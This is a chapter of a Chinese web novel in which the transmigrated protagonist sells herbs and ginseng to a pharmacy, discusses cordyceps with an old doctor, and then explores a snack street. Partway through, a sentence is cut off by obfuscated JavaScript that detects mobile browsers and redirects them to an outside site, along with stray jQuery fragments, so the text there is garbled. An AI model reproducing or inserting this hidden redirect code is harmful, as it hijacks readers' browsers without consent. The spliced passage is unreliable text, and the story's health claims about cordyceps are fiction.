15.第 15 章

作品:《孕夫

    进了店铺说明来意后,就有柜台里的药童带着他去后院见了掌柜的。


    掌柜的看陈决带来的药材惊讶了下,先不说分门归类,干净整齐,就只那根茎切的厚薄一样,这刀工了得啊。


    掌柜看着陈决笑道:“一看小哥你就是经常采药的,这倒是省了我们的事了,且这药确实不错,这当归跟黄芪看着粗细程度至少有三十年了,我也给你个痛快价,都统一的按照我们最高规格的药价来收。”


    每种药都要分高中低的,就跟苹果大中小价格不一样一样,苹果的营养价值也许大中小都一样,但药材按照大中小可完全不一样。


    十年人参跟百年人参可就是天上、地下的区别。


    陈决今天卖的药本来就全是高规格的药,他初采药选的当然都是好的。


    所以听掌柜的这么说,也就点了头:“好。”


    他背的那一篓子药材,种类有十五种,晒干后每种约一千克。


    不包含野菊花跟金银花,这两种陈决单独找口袋装了,看着一大口袋,实际上两种加起来也不过十克重。


    掌柜的拿着药铺专用的戥秤,秤完药才后,又拿着精细的算盘,一样样的给陈决算了出来,并在一张草纸上写出来。


    一手小楷字公正整齐,陈决看了一眼,没想到掌柜的字也挺好。


    这还是他这么多天第一次看到人写字,虽然是竖行的繁体字,但莫名的有种亲切感。


    周主任的字就这样整齐,她说以前的中医写字都这么整齐。不跟现在你们西医画的鬼画符似的,唯恐患者看的明白。


    这句话真是冤枉西医了,现在西医都是电脑打字,标准的宋体。要繁体有繁体,要简体有简体,要外语也可以给你翻译一下。


    陈决就稍稍的走了回神,回神时,掌柜的拿着纸给陈决看,他大概以为陈决不认识字,所以都给他念了,跟那个老郎中对待那个老人一样,童叟无欺。


    陈决也等着他念完后才点头:“好,谢谢掌柜的。”


    十五种药材共卖了十两银子。


    这个价格掌柜给的算公道。


    听起来很多,一天一两银子,换成人民币一千元左右。


    不是陈决挣钱快,而是药在古代本来就是这么贵,陈决耗时十多天,爬遍了三座大山才采集了这些药,且这里面还有一部分是原主采的。


    陈决看完了收据,并折叠好收进里衣口袋里,然后从怀里摸出一个袋子。


    古代的衣服就这点儿好处,衣襟一冕,腰带一捆,你永远都不知道里面能装多少东西。


    陈决贴身的衣兜里面装了一棵人参并一小袋冬虫夏草。


    掌柜的看他拿出的那棵人参就笑了,这个小哥儿看着面冷,但也挺有意思,这要是自己给的银子不公道,他就不会拿出这人参来了。


    陈决也不客套,把人参放在桌上后,直接道:“掌柜的也一并看看这棵人参值多少银子吧。”


    掌柜的从桌上小心的拿起来看,人参须子一根根捋了下:“你这人参新采摘的。”


    陈决点了下头。


    鲜人参跟干人参药效差不多,且是看大小年份,不论斤称,所以掌柜的话中有其他的意思。


    陈决也痛快的道:“如果掌柜的给的价格好,以后有珍稀药材我也会卖到济世堂。”


    掌柜的笑着点了下头,这小哥儿还真是挺聪明。


    他开始讲药材:“这一株从根茎粗细及参须来看,约莫有十五年。十五年的山参,我能给你的最高价十两银子。”


    陈决想了下医书中清朝记载的人参价格,百年人参至少在千两。现代一棵野生的百年人参能够炒到几百万。


    当然那都是近现代了,自己的人参也不是百年。


    十五年到百年差了好些年呢。


    陈决点了下头:“好,就这个价格吧。”


    陈决最后把冬虫夏草那给掌柜的看:“李掌柜对药材多有研究,麻烦看下这冬虫夏草怎么算价格?”


    陈决没有问李掌柜认不认识这种药,他直接切入能让人先接受这种东西是药的概念。


    果然李掌柜看着那及像虫子又像植物的药愣了一会儿,拿着那个小芽到明影处又继续看。


    “这叫冬……什么草?”


    “冬虫夏草。”陈决简单的解释了下:“冬天是虫子,春夏是草。”


    李掌柜深为震撼,边看边摇头:“小哥儿,你等会儿,我去请唐大夫过来看看,我实在不认识这种药材。”


    李掌柜走后陈决站在后院里,看着满院子晾晒炮制的药材,光影里,眼睛就瞄准表了书桌上的书,有一本《药草本经》。


    这本书应该是掌柜的日常看的,书页泛黄有些旧了,但陈决多看了几眼。


    这个时代,书贵,药类的书更贵,因为少,物以稀为贵。


    陈决心想等着下一次再攒点儿钱,买一本医书,也好对照着采药。光靠他记忆里的那些远远不够。


    中医学中万物皆可入药,不管有毒的还是没毒的,还是相生相克的。


    陈决没有碰那本书,在人家店铺里还是别动的好。


    他就站了一会儿,就听见了脚步声。


    陈决回头看,李掌柜说的唐老先生原来就是那位给中年老汉看病的老大夫。


    老大夫头发胡子都花白了,然而他身体还很健朗。从铿锵有力的脚步声中听绝想不到他是个古稀老人。


    背挺直,耳聪目明。


    他目光灼灼的看向桌上的药材:“李掌柜,你说什么药草不认识?”


    李掌柜忙道:“老先生,是叫作冬虫夏草。是这位小哥儿带来的。”


    陈决跟唐老先生点头致意,他初来古代并不知道古代的那些礼仪,书生穿着长袖要作揖,而平头老百姓是要拱手的。


    不过唐老先生注意力都在桌上的药上,也就没有在意他的态度。


    唐老先生也如李掌柜一样在光影里看了又看,也不厌其烦的问陈决:“这药真的冬天是虫子,夏天是草?”


    陈决点了下头:“是的,这是一种蝙蝠蛾的幼虫在生长过程中吞吃了植物种子,种子借助幼虫的身体一步步长大。”


    陈决尽可能的换成这个古代能听懂的词汇。


    但他讲完后觉得李掌柜更蒙了,不过好在唐老先生挑了下眉头:“还真有此事?这个药主治什么功效呢?”


    陈决看向他:“保肺益肾,补精髓,止血化痰,已劳咳,治膈症皆良。”


    他言简意赅的把功效背了背。


    其实冬虫夏草的功效不止这些。


    不过既然这里的医生不认识这种药草,那就代表还没有记载。


    那唐老先生目光明亮的看着陈决:“你懂医术?”


    陈决微合了下眼皮:“会一点儿皮毛。”


    虽然他说的是皮毛,但一点儿都不谦虚的往下说:“刚才那位老人的肺疾,可以用这个来调理,也许能延缓几年的寿命。”


    如果他没有看错的话,那老汉是肺癌晚期。


    冬虫夏草在中医书籍记载中入两经,就是肺经和肾经。


    从中医的角度看,肾为先天之本,主要负责藏精、主水液和纳气,是阴阳之本,是生命之源,负


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332040|197668||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    责脏腑精气的贮藏和排泄。


    肺贯通百脉,肺主气,司呼吸,主行水,朝百脉,合大肠。


    肺部出问题的患者,大部分都是便秘患者,中医诊断为肺气虚。


    只是从这两位都不认识这种冬虫夏草来看,这个时代恐怕还没有能入两经的药物。


    肺癌在现代都是不可治愈的绝症,更何况是在这个古代了,所以唐老先生以宽慰病人为主,心情好也许能多活几年。


    唐老先生在听到陈决说‘能多活几年’的话站了起来:“你能看出他得了什么病?”不等陈决说话,他又快速的问:“你能治好吗?”


    陈决摇了下头。


    肺癌晚期他治不了,就算动手术这里也没有条件。


    至于为什么能看出来,因为那位患者到晚期了,病已言于表。


    疼痛不仅遍布胸背,甚至已经延伸至肝脏,咳出来的恐怕带有血丝。


    再加上老中医的话,陈决确认了。


    唐老先生又缓慢的坐下去了。无奈的摇了下头:“也对,我都治不了,你才这么年轻。”


    他想到了什么又补充道:“小哥儿,我不是说你年轻就没有医术,我是指这个病现如今束手无策。”


    陈决明白他的意思,平心而论这老大夫话已经很客气了。


    陈决看他又拿起那根冬虫夏草,往前了一步,唐老先生看了一会儿叹了声:“都说夏虫不可语冰,不同季节的两种物体竟然拼接成一种,太神奇了。是我孤陋寡闻了。”


    他拿着那根药草看向陈决摇了下头:“这种药草我生平未见,不敢给病人使用。”


    陈决便明白他的药卖不出去了。


    其实他也想到了,这个时代的医者都遵循书中及师傅教的那些,他们不敢轻易尝试,现代的医生同样也是经过千百次的小白鼠实验才敢制成药。


    陈决看着那些虫草有些可惜。


    冬虫夏草不是如牛黄那样的救命药,但它是很好的温和补品,增强身体免疫力,身体好了,就跟跟病魔多抗几年。


    但陈决也知道谨慎的老大夫不会信他一面之词,所以陈决并不勉强。


    刘掌柜看向陈决,咳了声:“那小哥儿你看,这药我们都不认识,也不太清楚药效,我们不能收。”


    陈决点了下头,把药重新揣回了怀里。


    他今天主要是来试试水,看看哪种药材好卖钱的。


    不过虫草他留给老大夫一小包,让他可以试试泡水喝,或者熬煮汤。


    其他的他带走了。


    当上不去价格的时候,不可贱卖扰乱市场,也是毁了这种药。当然他也希望有个医生能赏识这种药。


    他给周青山入药里,他这些日子身体恢复的不错,除了精神外。


    陈决现在兜里有了二十五两银子,已经可以饶有兴趣的逛街了,他不紧不慢的逛遍了东岭县的这个商业中心大街。


    先去了小吃一条街,肚子指挥着鼻子,双腿决定的。一拐弯就到了小吃街上。


    这个时代的小吃大多都没有添加剂,所以陈决也不怕吃坏了,只要鼻子说不恶心,他就吃。


    在过去没有时间吃的那些小吃现在都让他唾液剧烈分泌。


    他在一个水煎包子前咽口水,都快等不及店家给他盛出来。


    陈决一边等着一边吐槽自己,他到底什么时候变的这么馋了?


    煎的金黄的包子香气传的最远,他的鼻子先带着他来到了这里。


    陈决拿着油纸包的包子又坐到了阳春面摊子的跟前,豪气的跟店家说:“大碗,加肉,加蛋,加芫荽。”